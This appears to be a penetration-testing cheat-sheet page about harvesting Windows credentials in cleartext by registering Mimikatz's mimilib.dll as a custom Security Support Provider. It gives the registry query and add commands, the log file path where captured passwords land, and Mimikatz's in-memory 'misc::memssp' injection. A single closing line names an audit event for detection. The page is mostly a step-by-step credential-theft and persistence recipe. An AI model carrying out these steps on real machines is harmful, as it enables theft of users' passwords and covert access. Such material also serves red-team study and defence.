# Custom SSP

## Custom SSP

[Learn what is a SSP (Security Support Provider) here.](https://chinnidiwakar.gitbook.io/githubimport/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi)\
You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.

#### Mimilib

You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\
Drop the dll in *\*\**`C:\Windows\System32\`\
Get a list existing LSA Security Packages:

{% code title="attacker\@target" %}

```bash
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```

{% endcode %}

Add `mimilib.dll` to the Security Support Provider list (Security Packages):

```csharp
PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```

And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`

#### In memory

You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):

```csharp
privilege::debug
misc::memssp
```

This won't survive reboots.

### Mitigation

Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
